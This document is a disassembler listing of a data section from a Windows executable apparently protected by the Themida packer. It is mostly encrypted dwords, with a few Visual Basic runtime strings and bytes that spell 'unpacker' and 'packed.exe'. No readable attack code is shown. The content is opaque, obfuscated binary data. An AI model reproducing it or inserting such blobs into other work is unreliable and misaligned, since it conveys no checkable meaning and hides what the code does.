		dd 14E9h, 16AF1F00h, 0C39EE607h, 0F444D837h, 3722DA0Ch
		dd 5AFA2841h, 37D781D1h, 0FF16507Bh, 4824B5B5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8BD844BCh, 48095585h, 0BD95FF06h, 89064820h,	480FD195h
		dd 0FF006A06h, 48306195h, 0EBC08B06h, 32062A3Ch, 4A046F85h
		dd 0A94557F2h, 31C62586h, 0D7C4E7F3h, 0CF65A665h, 5860B981h
		dd 0D966A6C4h, 3B26919Ch, 0CC9A6FBBh, 0EF6614F5h, 61D5470Ch
		dd 0F5540192h, 7D3EE50Ch, 0FEE0B30h, 5E82Ah, 26880000h
		dd 803288BCh, 95B71C4h,	48295195h, 0F8C38106h, 0BE00005Bh
		dd 46936BB6h, 8509FF33h, 6480CA1h, 891F34FFh, 4805259Dh
		dd 81F85A06h, 0A90907C2h, 81C18B19h, 88CF21EAh,	6850F2Fh
		dd 89000000h, 480995BDh, 0ABC28106h, 0F258A57h,	0E952C1BFh
		dd 0Fh,	0ACD2BDD1h, 0D5AAACFEh,	0BA326D16h, 8FBDE184h
		dd 9D893B04h, 6482B49h,	81BAD480h, 0ACDFC5EFh, 658D8B61h
		dd 81064827h, 0ACDFC1C7h, 29958961h, 81064828h,	0FFA4D4FFh
		dd 1D850FFFh, 8B000000h, 48283185h, 30E906h, 0EA8B0000h
		dd 13A418B1h, 860A28F1h, 2A543040h, 664E82FEh, 5AD9589h
		dd 65E90648h, 0E1FFFFFFh, 0A933D047h, 17478B4h,	2C0919A6h
		dd 582CB54Ch, 5CE9E770h, 0C5000001h, 4377E705h,	5F6D5C3Ah
		dd 61706E75h, 72656B63h, 63617000h, 2E64656Bh, 657865h
		dd 3Ah dup(0)
		db    0
		db 2 dup(0), 33h
aCannotFindS_Pl	db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 3Bh
		dd 0E97B3A59h, 1C0Eh, 4E117968h, 6DBDE906h, 9468FFFAh
		dd 0E9064E12h, 0FFFA6DB3h, 4E13A668h, 6DA9E906h, 6868FFFAh
		dd 0E9064E14h, 0FFFA6D9Fh, 4E14A768h, 6D95E906h, 7768FFFAh
		dd 0E9064E15h, 0FFFA6D8Bh, 4E15CA68h, 6D81E906h, 1168FFFAh
		dd 0E9064E16h, 0FFFA6D77h, 4E1D4668h, 6D6DE906h, 168FFFAh
		dd 0E9064E1Eh, 0FFFA6D63h, 4E1EB168h, 6D59E906h, 0A568FFFAh
		dd 0E9064E1Fh, 0FFFA6D4Fh, 4E200468h, 6D45E906h, 1368FFFAh
		dd 0E9064E21h, 0FFFA6D3Bh, 4E21E368h, 6D31E906h, 7868FFFAh
		dd 0E9064E22h, 0FFFA6D27h, 4E281B68h, 6D1DE906h, 1A68FFFAh
		dd 0E9064E29h, 0FFFA6D13h, 4E2A2468h, 6D09E906h, 3E2EFFFAh
		dd 3C194AF2h, 411748F0h, 441A3BF5h, 481F40F8h, 0FDC554FCh
		dd 29135F78h, 1B156178h, 331D697Ah, 2C247062h, 0F66884A8h
		dd 365614C2h, 6981939Fh, 5D75221Dh, 0F0502711h,	13606CD8h
		dd 69498E92h, 7BEF7DC6h, 0EC560ED3h, 6990FC6h, 7D5B3932h
		dd 32h,	0D3E95B11h, 79704975h, 0B2F26468h, 0DF424FC6h
		dd 0AB80EC46h, 1498E9Eh, 5E77251Eh, 78F43E8Ah, 560EDF02h
		dd 20966D65h, 5B394183h, 0EA00h, 55869600h, 79E6307Ch
		dd 6D0A1561h, 7F1D2672h, 0B31F8F5Bh, 0F20D4FC6h, 12233728h
		dd 0C6B3483Eh, 0DC45EC4Fh, 49253963h, 4FC6B355h, 81DE38D7h
		dd 34805369h, 0ACED16EBh, 66E5AAEDh, 58143CE5h,	4FC7A2AEh
		dd 69D31F33h, 4DD62238h, 401C3404h, 8F82972Ch, 0B3A68F49h
		dd 0A6BBDC67h, 0C167B35Ah, 9970BC94h, 5068D89Fh, 0D8F4C8F4h
		dd 560F7366h, 0A3CF6BC6h, 4FD4C39Bh, 0C19AC669h, 95EE5AA6h
		dd 5360F362h, 8FC75313h, 5718AAD3h, 27392716h, 49954A0Bh
		dd 0BC09FEE9h, 8F6EB9CCh, 198Dh, 50085408h, 520A560Fh
		dd 510B5711h, 520A5610h, 520A5611h, 0D1860BD3h,	0D78ACB85h
		dd 0DB90D18Bh, 0DEF4A58Fh, 0EA36AA92h, 14C470E6h, 1D21C456h
		dd 79556681h, 4FC6B305h, 43210827h, 0B3635317h,	2ED14FC6h
		dd 372B6CE4h, 5B1771EBh, 4475D3E9h, 0F76C3F8Dh,	6CB36C6Ah
		dd 5BB78A95h, 3E18EBFFh, 0BB56498Fh, 5F32748Dh,	0E673E630h
		dd 0E159F34Ch, 86560F91h, 0E4FF7550h, 9F5B39F4h, 0ECh
		dd 236F6455h, 69812D17h, 5F6B7C53h, 4FC6B2EFh, 4BE23Dh
		dd 18470029h, 2C222E3Fh, 4FC6B3h, 7B5C0821h, 46FF1B67h
		dd 0C6B7002Eh, 944D6E4Fh, 102AFF48h, 0E54F9B4Fh, 7ECAA0B9h
		dd 85D25CC5h, 73C681CDh, 0B18DBBD1h, 0B7CDC18Dh, 0C05F4FC6h
		dd 9EE5FE76h, 0E847498Eh, 6E845B7Ch, 0EF32C78h,	67331BF7h
		dd 0C6509C4Eh, 8DBBD173h, 0A324A574h, 3539B4FEh, 560F5141h
		dd 19F50CF3h, 0BE502D41h, 23FE4FD4h, 253B1445h,	0D47DE2Ah
		dd 0E747934Ch, 0CCBC20E6h, 729786B1h, 0ED000018h, 0F0B1ABF7h
		dd 0EEAFA9F5h, 0D586AEFAh, 0D283ADF9h, 9887B1FDh, 66B2AD32h
		dd 68B4ADEEh, 70BCAFF0h, 77C397C8h, 0B995D9BDh,	5614C5C5h
		dd 86428C67h, 0B746B91Dh, 0B7831683h, 0EB65B1A6h, 84D086AFh
		dd 69B5ADAAh, 0BB07DAFBh, 0B5A69970h, 0BF89CD69h, 3F1D6981h
		dd 2AF54116h, 55023BD7h, 3007317Dh, 804CF810h, 498E9EDFh
		dd 0EE3A2E07h, 2823FE24h, 0EDF168Ch, 0A2615156h, 393D972Ch
		dd 3300215Bh, 0CE7E31DBh, 0E773B47Eh, 0B000000h, 739B94Fh
		dd 4E6753F1h, 0A9C14D99h, 498E965Eh, 0B3E86F90h, 27E9F1E6h
		dd 45DE632h, 0D7F5041Dh, 0A1A47EB5h, 7F583A0Ah,	0F611F833h
		dd 1C17BD19h, 57051CACh, 317D5283h, 120D590Eh, 0A887E32Fh
		dd 0E01C613Ah, 891F8BBFh, 0F768DA68h, 0BA8F98E4h, 0DC67CA60h
		dd 76C297C0h, 87D38AADh, 9B9D949Eh, 0BD13D785h,	0AB1E27AAh
		dd 0EBFFD884h, 0EEE4B59Fh, 0AE9D11DDh, 708F2298h, 0E85A7999h
		dd 4A151E6Fh, 1760EBh, 0BD09DB00h, 0BF0BC293h, 0C00CC495h
		dd 0C30FC798h, 0C30FC899h, 0BF448A99h, 0A3F45CA8h, 0A9FA62AEh
		dd 0ADEE66B2h, 0EBEF69B5h, 0C6BBABBFh, 5A795614h, 1D698158h
		dd 0A3FDE3Fh, 0D76DD73Dh, 97F16569h, 0DC434FC7h, 1424ED52h
		dd 627760FCh, 0DA340D16h, 83C96E82h, 240B498Fh,	8E47702Ch
		dd 0FD492142h, 5A860B31h, 3D083F49h, 0A665D66h,	4FC7A894h
		dd 8E9D7998h, 0B0C878F8h, 8B6FB894h, 0DEF7498Fh, 0B375C10Dh
		dd 0A881CD82h, 1A7D3B59h, 7ACACF37h, 5EA0662h, 47CAEEBCh
		dd 2A1A5FE8h, 3E1A3612h, 0EED0B53Bh, 0DD449049h, 3684567Fh
		dd 0E8F4D9F6h, 1741E845h, 0EA489446h, 4DDD191Dh, 9E62D39Ch
		dd 19000016h, 1C3DF743h, 1A3BF541h, 2142FA46h, 1E3FF945h
		dd 0C453FD49h, 125E79FEh, 1460792Ah, 1C687B1Ch,	236F6334h
		dd 7579A539h, 5614C701h, 818E9033h, 2A0D1D69h, 6DCCBE14h
		dd 165F53C2h, 0ADA0000h, 8C596BEh, 0DC394BCh, 10C697C1h
		dd 14CB8CC4h, 499190C8h, 95BF0BC4h, 97C10DC4h, 8FC915C6h
		dd 68D01CCEh, 32242874h, 25614C7h, 1D86DFE3h, 0A0FF1701h
		dd 0C996A09Ah, 0BE97C511h, 45225BA9h, 0B97FB920h, 0A872D750h
		dd 526ADA9Fh, 6F99DAF6h, 2CD3498Fh, 68845804h, 560FAFF6h
		dd 0B7ABB933h, 0C55D925Dh, 706E7268h, 0EC152815h, 0DC6E0322h
		dd 5418445Ch, 4FD6C10Bh, 907D639h, 0D36E1763h, 529EB2A3h
		dd 0B9CF71C8h, 0B4EAF8Bh, 48F6099Dh, 0EF501CF6h
		db 9Dh,	36h, 0E6h
aIRx		db ']б┴╟░xл',0          ; DATA XREF: Themida_:0053E17Co
		db 0A8h
		dd 98E46D5Dh, 0F8EACB79h, 0FFD884ACh, 0A214D8E9h, 92EC725Bh
		dd 0A6AA966Fh, 0EC725BB0h, 0C4919D84h, 8374C20Eh, 0FE5015BCh
		dd 158FC035h, 5A0A0000h, 5875260Eh, 5D73240Ch, 60762711h
		dd 647B1C14h, 99412018h, 45EF3B14h, 47F13D14h, 3FF94516h
		dd 58004C1Eh, 62541844h, 0D25614C8h, 2096AFF3h,	5E4FC6B3h
		dd 4FC6A2E4h, 0C6B31892h, 0B2E45E4Fh, 657D4FC6h, 1402F919h
		dd 0C26DCCBEh, 153C53h,	59A5B700h, 5BA7BEDFh, 5CA8C0E1h
		dd 5FABA3F4h, 5FABA4F5h, 0DB6066F5h, 0DF80B804h, 0C596BE0Ah
		dd 0C99AC20Eh, 78BC511h, 0C89707E3h, 3E955614h,	0D3E95BF4h
		dd 0A96E5975h, 61C0498Eh, 0F60FCCD1h, 7DE08BCAh, 14F5h
		dd 8307C70h, 0A327E57h,	9337F59h, 0A327E58h, 0A327E59h
		dd 392EB31Bh, 3F1243EDh, 431849F3h, 461C3DF7h, 125E42FAh
		dd 14C9483Eh, 0C509EC56h, 3F1D6981h, 58301DDEh,	0C6D62294h
		dd 14EF124Fh, 0F4130315h, 0A25F216h, 0D32FC25h,	7D93466Fh
		dd 370A1561h, 22EC55CEh, 400C1D35h, 4FC6FC4Eh, 61EA43DEh
		dd 66E12D3Eh, 580B2139h, 0DF2AF50Ch, 63A14C87h,	80EE637h
		dd 40FB400Ch, 2BA164F6h, 54F16998h, 21EBh, 1C968300h, 4A4FC6B3h
		dd 0E42E7A71h, 29135F73h, 9DC7F78Dh, 0AEB344Fh,	1451h
		dd 8EDAF5E6h, 5586BA84h, 580E317Dh, 7D55020Ch, 1A257167h
		dd 5982DE47h, 13F6317Dh, 66908F8h, 0CC664966h, 869E9E73h
		dd 0B15D16DAh, 0B589498Eh, 0ECFA599h, 8EA88756h, 0EEC7759Ch
		dd 0C78FABF7h, 0BBABBF9Bh, 0AE560ECFh, 7B966CB8h, 0CF8D01CDh
		dd 809F560Eh, 0ABC183B6h, 0B5C6B1BDh, 99784FD6h, 0E6F7F18Eh
		dd 0C6E9940Ah, 8E79984Fh, 12B6DFB8h, 41FB1218h,	0CE1A3425h
		dd 4A22EC55h, 4FC6EE51h, 2C3F5510h, 4E0F49E0h, 0F46A8697h
		dd 384FC6EDh, 48F730D9h, 2B06418Dh, 5C80F0D3h, 0C6EE1E90h
		dd 2E290E4Fh, 6EEF4BE2h, 148A6677h, 184FC6EEh, 762810F9h
		dd 54F15069h, 1B11Ah, 0E95BB400h, 3A5975D3h, 74498E9Ch
		dd 0D286AF8Dh, 0E493AC86h, 9BBF9DE9h, 0EE1DFCFh, 82CE8256h
		dd 67CA60C9h, 9790DCF4h, 0AFF068B2h, 0D3E16AB6h, 560ED1DFh
		dd 9106BD93h, 0B7A7C3D4h, 75560EF1h, 64B0A99Ah,	0C19F86DBh
		dd 9975C198h, 667EBEB5h, 0E6BDE6FAh, 57CE4B4h, 0EDBAB27Ch
		dd 3F4FD6FFh, 1F3867E0h, 1F3869D3h, 483C58D3h, 1D4FC700h
		dd 0A2DF642h, 0C7410A56h, 0E5873291h, 93C4348Fh, 53B671BDh
		dd 75C196C7h, 77C39ABBh, 0A0AC90ACh, 4FC700AEh,	0A9C5A37Eh
		dd 4FC700B5h, 0E17E9877h, 0A26FB804h, 4519894Ch, 1FC921DCh
		dd 2E4A8D4Ah, 4FC77938h, 232715FCh, 4FC77933h, 43141E01h
		dd 44163E8Ah, 54F1DB3Fh, 3F8B6079h, 14111D04h, 36h, 1A6681AAh
		dd 2D796E11h, 4BF17F2h,	0B08CD88Fh, 0A0B9CF87h,	0ED61AD54h
		dd 0CDC18DB1h, 5F4FC6B3h, 0DBE876C0h, 0A854F115h, 0B2h
		dd 8FFD435Ch, 761A76FBh, 0E95BA29Ch, 8C4475D3h,	626EF640h
		dd 498EB8A5h, 50EF38D7h, 4E0F4995h, 5F004B97h, 2D0E3A86h
		dd 5B72E531h, 0EF3A030Fh, 0EC73C97h, 9992DEF8h,	0FC89FEAEh
		dd 0BC654C65h, 16A9EB65h, 6D5B391Ch, 56h, 8DB1FE1Fh, 0DAB4DAAFh
		dd 0E85B0640h, 8D4576D2h, 616DF541h, 4FC6B2BDh,	9551029h
		dd 0EF388456h, 3D2A001Ah, 112FD622h, 0AA80ACF0h, 0D6608B60h
		dd 7B6FE371h, 8DE34FC7h, 0BB95C636h, 0AB8CA36Fh, 0EB0016CBh
		dd 0C19F869Fh, 0C77989ADh, 0EC64CB4Fh, 1169h, 333F2500h
		dd 0F1000000h, 0B38D01CDh, 809F4FC6h, 678190B6h, 510C2D1Bh
		dd 63142905h, 65361E6Ah, 4E231C68h, 414BD408h, 0B0394D88h
		dd 8C02C1F1h, 54F114F7h, 0C2A8Ch, 35B2200h, 0B34E400Ch
		dd 33DB4FC6h, 0CD4331C7h, 0DD44EB43h, 0D0B4A62h, 567CC66Eh
		dd 0FEEE0F7Fh, 0DDB8FC5Eh, 0E3005EB8h, 0A0DE9C86h, 3Bh
		dd 7C558636h, 0B53E630h, 327334D7h, 0AB82A582h,	60BDB1BDh
		dd 8E6F4FC7h, 5C44B346h, 0EC005CC1h, 4FC7447Ah,	75AE57BAh
		dd 0B610C9D7h, 917462E6h, 6471881Bh, 2A4FBFEh, 5B930000h
		dd 4273D103h, 1D043F8Bh, 0F05A2B11h, 211D6981h,	5C9F523h
		dd 4FC6B391h, 8CB27CA3h, 0F1195380h, 5E3057h, 5BC60000h
		dd 3510703h, 0FC27CC29h, 1A25FC12h, 0F31A667Dh,	0AB81AD18h
		dd 0A38AFB8Ah, 0F16A86A7h, 754FC6B2h, 5D738944h, 0DA331611h
		dd 0C1EF851h, 49E63725h, 14EA471Fh, 86F650EAh, 5268815Ah
		dd 53CC3581h, 87E52EEh,	2C4FC6B3h, 81132905h, 60F1B67h
		dd 7D5586BCh, 3336E531h, 0CC000000h, 55D1035Bh,	66815A86h
		dd 0DE38111Ah, 0C6B31D96h, 362A0B4Fh, 210861EAh, 7C558625h
		dd 627EE630h, 3E6CD41h,	0D24FF4Bh, 3B010DDFh, 0F1B6781h
		dd 0E796BC06h, 0A79C3B3h, 134F0955h, 5AE53122h,	382A2B07h
		dd 1C3324ECh, 322A48D0h, 0B44C420Eh, 77E085CBh,	360B1460h
		dd 0B60D43CFh, 60561A46h, 0D485CBB4h, 5E74E12Dh, 5AA35C10h
		dd 63BC7BBCh, 0A906C408h, 8180A947h, 0F4509C4Eh, 0DD2EDF8Bh
		dd 0AC8F018Fh, 69CD69B5h, 0B3C500C6h, 0BB07DB50h, 0A99DB18Dh
		dd 8B85CC04h, 50B905DAh, 52083BC6h, 322D2E06h, 0CC043A31h
		dd 2F0DF485h, 263D5306h, 11F833DAh, 3A303105h, 4B0235EEh
		dd 4E2444FFh, 5E7ECC77h, 0DA4FDC45h, 0BA9D949Dh, 99BF5BA7h
		dd 0C10DC53Ah, 0C580F40h, 4500730h, 0F34CE63Bh,	0E5597549h
		dd 4785CC70h, 71574723h, 3AD585CCh, 11E447D3h, 2B9B7A98h
		dd 400B570Ah, 24FD491Fh, 44924D0Ah, 0FDD3279Dh,	16DF56B1h
		dd 4D0E46DFh, 6EEF4995h, 0EF037879h, 776385CBh,	0CBEF0373h
		dd 4A043185h, 45DC45FEh, 51D637E9h, 52B74F63h, 73C64EB7h
		dd 0B7AB20E3h, 71699A6Bh, 69180B25h, 5FD42F63h,	8DBE3F8Bh
		dd 0AEAF89D5h, 0EBCF6DB9h, 0CBB36FDFh, 0D862BD85h, 5C01260h
		dd 4F8EDA90h, 1514E041h, 0B9F2BB12h, 52B98BBBh,	8DBB529Fh
		dd 0CC66CDC1h, 76C05F85h, 1D6981D0h, 7E558621h,	9551132h
		dd 863F092Dh, 70687E55h, 0DF461B24h, 0FE31FD64h, 231B273Dh
		dd 965A86D7h, 4FC6B320h, 3321ED14h, 57F119A0h, 0E02C3F18h
		dd 2BD956h, 5B6D0000h, 8658D2E8h, 0C6B2F16Ah, 4AD43B4Fh
		dd 20965A86h, 144FC6B3h, 5BE43023h, 47131F06h, 18648155h
		dd 3FBC060Eh, 2Fh, 0D2E85BD3h, 965A8658h, 4FC6B320h, 3921ED14h
		dd 0C6B33E35h, 915EC4Fh, 64813C86h, 550B2C18h, 6172D09h
		dd 74EA06DAh, 0B84FC6B3h, 9687BD59h, 4FC6BCDAh,	0FCFC1409h
		dd 0EFC8FFFFh, 9277B0FCh, 1C96BE88h, 1F4FC6B3h,	0F4B0537h
		dd 9B7F9DEEh, 0E630B930h, 91495F79h, 101B677Bh,	0F257D039h
		dd 7AD42D1Bh, 49E978B8h, 5CF84DE9h, 4FC6BBEAh, 46BB1A70h
		dd 520E4692h, 0FA62156Eh, 30273060h, 0C6DF3224h, 131F024Fh
		dd 5A758B42h, 0F63DF70Eh, 48F42F45h, 20A92237h,	0EC170D17h
		dd 0A0541056h, 0DE96A022h
dword_59EA28	dd 0D911231h, 0CC57A3B8h, 0DF68B4ABh, 64D93C92h, 4227206Ch
					; DATA XREF: Themida_:0055E5A1o
		dd 7D587EEBh, 47747C07h, 2310797h, 969F0000h, 4FC6B31Dh
		dd 0E5597549h, 474FC6B2h, 59EB4EE8h, 6E492543h,	0E0498EBDh
		dd 0B146077h, 3465CF36h, 4F3F0B1Ch, 0DD560EC1h,	3F60EB42h
		dd 3351DA26h, 5C225ECAh, 4925B9EAh, 560F4C55h, 45D138D7h
		dd 36F13D18h, 698161E3h, 0E63F221Dh, 5DF1297Ah,	79307EFh
		dd 6C1B2F2Bh, 0CA4FD76Ch, 0CAC8C767h, 0E08BCCBEh, 0DC07Dh
		dd 0DD293B00h, 0DF2B2273h, 0E02C2475h, 0E32F2778h, 0E32F2879h
		dd 5FE4EA79h, 43143C88h, 491A428Eh, 4D0E4692h, 8B0F4995h
		dd 0D01B8B5Fh, 0BA195614h, 53698178h, 10F9327Eh, 786A4BF9h
		dd 3F5DE22Ch, 2AF54116h, 44F43BD7h, 7ED6802Ah
dword_59EB00	dd 778E488Eh, 65D9F5C9h, 0C74FC6BDh, 0BA96CE68h, 4988C873h
					; DATA XREF: Themida_:005577A0o
		dd 0D1EA56B9h, 0BC9DCB17h, 78D15AA6h, 0EFE9BA9Eh, 0B89C12DEh
		dd 71905614h, 791F7B96h, 0E63F8A3Fh, 7288617Ah,	360B1460h
		dd 5DFA43CFh, 56EE3985h, 26216D65h, 40F743h, 865B7CE8h
		dd 0FE18F13Ah, 5FD18A66h, 6FDB4FDDh, 0CD9FEB5Bh, 3FE6494Fh
		dd 0B8F95EEFh, 2F0E59CCh, 0D05h, 38206C80h, 3A226E67h
		dd 39236F69h, 3A226E68h, 3A226E69h, 491EA32Bh, 4F0253FDh
		dd 53085903h, 560C4D07h, 224E520Ah, 14D1584Eh, 0B5F9DC56h
		dd 221D6981h, 0EA95297Ah, 7D90993h, 6B317033h, 78C26BFAh
		dd 0FB697FC1h, 8F04E0EFh, 49F30E49h, 3EF64218h,	0E6BF0122h
		dd 5D1A5DBDh, 0C6DE5ED1h, 0BB95C69Ah, 0D34F946Fh, 0A677A64Dh
		dd 9928E08Ch, 0B9584FD1h, 6AB6AA8Bh, 6BB7B1F2h,	5FABBFE0h
		dd 0B3FFD801h, 0C0859178h, 93B1C779h, 0C7B793A7h, 654FCD87h
		dd 4F0470CAh, 9749956Bh, 0E25DA9BEh, 926DB37Fh,	0F0E4E184h
		dd 8273BCCAh, 0C55h, 68D01CD0h,	6AD21E37h, 69D31F39h, 6AD21E38h
		dd 6AD21E39h, 994ED3FBh, 9FB2E34Dh, 0A3B8E953h,	0A6BCDD57h
		dd 0B2FEE25Ah, 14D1A89Eh, 65698C56h, 221D6981h,	69D7ED4Fh
		dd 8E974265h, 0A38D7449h, 0A58FDBF2h, 8AA8F9h, 0E945E988h
		dd 0C58104Dh, 0D0277824h, 2EE7CEB6h, 5BF14BE7h,	5975D3E9h
		dd 498EA88Eh, 0DD29411Ah, 0F730CF51h, 0ECCE55Dh, 53647C56h
		dd 0ECD0777h, 230A2556h, 0FE707C28h, 2E560ECCh,	2B7770D3h
		dd 0DB3A9020h, 0E61D1530h, 392F5370h, 94305Bh, 81C60000h
		dd 700F1864h, 861E2975h, 0B320965Ah, 23144FC6h,	0EB47DE2Ah
		dd 1F28746Ah, 2B196580h, 3ECE40D2h, 99754B75h, 0A17EBEB5h
		dd 0C6BAD9CDh, 0C5B9954Fh, 674FC6BAh, 66BF62C8h, 0BC0AE1FAh
		dd 0CAFFDE01h, 0D763CA9Dh, 49B0BF8Bh, 0A37E498Fh, 0F680E693h
		dd 67D6A1CAh, 0B61h, 94BC08DCh,	96BE0AC3h, 95BF0BC5h, 96BE0AC4h
		dd 96BE0AC5h, 0A5BA3F87h, 0ABBEDF59h, 0AFA4F55Fh, 0B2A8F963h
		dd 0C6EAEE66h, 14D2B4AAh, 515D7856h, 20186481h,	563Dh
		dd 6481D100h, 0FA4A0F18h, 785586E2h, 40EF32Ch, 0AC639458h
		dd 0E451498Eh, 0A8869FEBh, 0CAF60AB1h, 27ADB84h, 7D00000Bh
		dd 80211B67h, 7E1F1965h, 65361E6Ah, 62331D69h, 2837216Dh
		dd 0F6421DA2h, 0F8441D3Eh, 4C1F40h, 7530758h, 4925494Dh
		dd 5614D355h, 81B2FCD7h, 0DE3F1D69h, 8E457A9h, 4FC7AE96h
		dd 91907B96h, 0C085916Fh, 0C47FCB9Fh, 0B671BD93h, 0C681CD89h
		dd 24FC2661h, 0BB6DBB6Dh, 45C36EA5h, 1344B40Fh,	0D62BF440h
		dd 0A8851A3Ch, 73354F1h, 0C7425343h, 913CE14Fh,	381E8FB2h
		dd 0FA2B071Eh, 26Eh, 49C94F94h,	6783E1F7h, 498E95A0h, 0EC626ECEh
		dd 7A560ED9h, 0EDA0076h, 35CD3456h, 0DA453915h,	48E7560Eh
		dd 9BB948E1h, 0C299420Ah, 712D45F7h, 24F26F5Bh,	11B213F0h
		dd 46DF92DFh, 37F03C15h, 410D3BD2h, 3F6E53FEh, 356D130h
		dd 313D2B41h, 3D251357h, 223E2A05h, 0A315584Eh,	0CA35DC45h
		dd 0BBD086D2h, 35FBB63h, 0A1EDFED7h, 0E677C3A6h, 9BBCA8F4h
		dd 91AE79C5h, 0AF928DD9h, 0C394BC56h, 0F273C30Fh, 0AD3962FBh
		dd 9F39382h, 7E6E0000h,	7C590A32h
dword_59EE88	dd 81570830h, 845AFB35h, 885F0038h, 0BD05143Ch,	69D31F38h
					; DATA XREF: Themida_:005628C0o
		dd 5BD52138h, 73DD293Ah, 6CE43022h, 36284468h, 0F65614D4h
		dd 6481D3DFh, 21D32C18h, 213B1FE1h, 1366DF3Bh, 0C2D1B31h
		dd 0E43D0652h, 403E124Ah, 0F44988F0h, 52062F0Dh, 4AE43D06h
		dd 1F302912h, 0F03F2F3Bh, 12ED5614h, 14F05046h,	1A3DE456h
		dd 2913FA46h, 964B6178h, 128014Ah, 3737763h, 315614F0h
		dd 36FB44CEh, 6E52EE06h, 0FA45914Dh, 41353927h,	0F35614F0h
		dd 0F16A020Ch, 3B4FDCE1h, 9A4F68D4h, 0A691F24Eh, 567FA4D3h
		dd 990DE17Fh, 9B4FCDAFh, 0E5B69A74h, 93C4A0ECh,	67B3A6BCh
		dd 0A39C85DCh, 0ACCB74BEh, 81CC6AB6h, 4CCCB8E8h, 9233223h
		dd 0CE9E0000h, 0CC89DA82h, 0D187D880h, 0D48ACB85h, 0D88FD088h
		dd 0DB5A48Ch, 0D983CF88h, 0CB85D188h, 0A38DD98Ah, 9C94E0F2h
		dd 66D8F438h, 0C65614D4h, 3B79232Fh, 4FC6B353h,	0DA927107h
		dd 0B0A6AA96h, 844FC6B3h, 0BBABBF9Dh, 794FC6B3h, 83B57C96h
		dd 88FBCF6Dh, 0A6498EA5h, 0E4FCDD8Bh, 0F5E67E98h, 0CEA58FDBh
		dd 0D6EA566Eh, 4A134CADh, 939F449Fh, 0D4277AD7h, 0EB59B84Fh
		dd 0A6F4E6CFh, 0BB62C264h, 0C852BBACh, 0BD77C397h, 9C7AC69Ch
		dd 0CCBCB247h, 8E54C972h, 9000008h, 0C4D0753h, 0A4B0551h
		dd 11520A56h, 0E4F0955h, 34230D59h, 24E098Eh, 450095Ah
		dd 0C580B4Ch, 135F7324h, 6569B529h, 5614D4F1h, 869EA043h
		dd 51D4531Dh, 0FB176917h, 0C79CFB6Fh, 2C126B4Fh, 0B21F2ABCh
		dd 9042131Fh, 13250C44h, 0BB8B5FFDh, 0F9498F9Ah, 5A112A16h
		dd 297A260Eh, 41170CE1h, 2CD72AF5h, 4C207EE5h, 560F875Ah
		dd 44CE37DAh, 2BF44013h, 814CAh, 0E95B8800h, 0FE5975D3h
		dd 30498EBCh, 0EA362B0Ch, 0EC1188Eh, 372B1C56h,	98E942EBh
		dd 21D4960Bh, 5AF22DD4h, 560EE3E0h, 0FE744F87h,	5B3946E1h
		dd 130A2h, 55863C00h, 560B2C78h, 4EE8410Ah, 150E5A11h
		dd 28236F62h, 0C176377h, 0E804C70h, 1E4FC6B3h, 35263703h
		dd 3D2E6FE9h, 7EE336F1h, 5A541844h, 0A4FC6B3h, 166C1C27h
		dd 88994ABFh, 0B56EBAAFh, 0B38E004Ch, 0FBD34FC6h, 0C6B657AFh
		dd 0A6D3C433h, 69D33AD3h, 594D213Dh, 0DB4FC75Fh, 667DDA34h
		dd 4783111Ah, 9B4FC75Eh, 0C2990EC5h, 0E277BE76h, 0CEB894B0h
		dd 984FC75Fh, 0D35FABBFh, 6DE1ED4Dh, 0BF4FC75Fh, 0E17EC960h
		dd 0B7A0BC08h, 82CE899Fh, 0EBFFA0ABh, 64BDA49Fh, 0FCD586CAh
		dd 5F6FDFEBh, 0C7BA4FC7h, 7D8EC588h, 7099788Eh,	0BCD288B7h
		dd 79D05BA7h, 83D99790h, 0F3E7D040h, 17CA8BA7h,	19D091CBh
		dd 27FE4A03h, 0CDE3551Ch, 4591466Fh, 4F0B27FAh,	8F92DC7Bh
		dd 5E72DA49h, 560F8CE8h, 7BB47D49h, 7C928E92h, 0E7D06C95h
		dd 0B501D8EEh, 0A46ED34Ch, 0AAF6EBACh, 4F85D8A1h, 0C612C8F1h
		dd 0D28AA47Dh, 0F778CFEh, 0C681A056h, 9C11F48Ah, 9EBF79C5h
		dd 6DC47FCBh, 0C387B5CBh, 4FD76098h, 90D18BA6h,	0F2A38DD9h
		dd 0FF9B95E1h, 5AB400D6h, 0D3E95BE4h, 0A7A25975h, 250C498Eh
		dd 0FC481E37h, 736A0D32h, 5B532D27h, 3B59D2E8h,	4FC6B347h
		dd 5DD33220h, 54F11542h, 2941h,	6481D500h, 0B74E9A4Eh
		dd 0B36EE06Ch, 8EE44FC6h, 0BF0BC237h, 0A7B8C995h, 0DF16A5EAh
		dd 0BA70FC16h, 0F14FC707h, 0FFFFC20Ch, 6981C2FFh, 0F52E7A53h
		dd 6929F50Ch, 8E85B1Dh,	211D0450h, 5380107Ah, 6557F119h
		dd 0C7D9C93Ch, 0BC566656h, 4B6Bh, 0E85B0300h, 6A8658D2h
		dd 4FC6B2F4h, 0C11C1172h, 0DD8FDD1Ah, 1430CF51h, 53DF2B23h
		dd 863C86E9h, 0F32C7855h, 7A53040Eh, 222E122Eh,	4FC6B32Ch
		dd 2F152100h, 3D3FBC06h, 0F1000000h, 584E5A90h,	55E0D5E2h
		dd 8CAA55CFh, 0BC828CB0h, 76D0E85Bh, 3D527412h,	866FBB52h
		dd 0C6B2F46Ah, 8E49724Fh, 16200942h, 862DF910h,	1864813Ch
		dd 0C9DA060Eh, 0DBDFFDE1h, 53FDB1Ah, 7A566781h,	4FC6B304h
		dd 27200928h, 0C6B3198Dh, 0E82B414Fh, 3C885F78h, 43141E03h
		dd 5B17418Dh, 4FC6BF3Dh, 0F3B0877Ah, 863BFFFFh,	0B320965Ah
		dd 0ED144FC6h, 0CD193421h, 122C0C63h, 0B7C58DC7h, 0C589B7C7h
		dd 4FC73ED1h, 0F765BC63h, 8F3748F3h, 0AD9B7649h, 45C9BD91h
		dd 0C46B560Fh, 76D9785Bh, 0A07AE17Ah, 1FA4FDA7h, 0BF2C1D72h
		dd 108AE22Ch, 57560F47h, 912EA45Fh, 0F25B39A5h,	16h, 965A868Ch
		dd 4FC6B320h, 0DF2B2314h, 0A24FD64h, 10Bh, 0E95BC700h
		dd 0EE5975D3h, 40498E98h, 0F21A83E1h, 0B9F8F0E2h, 489447F8h
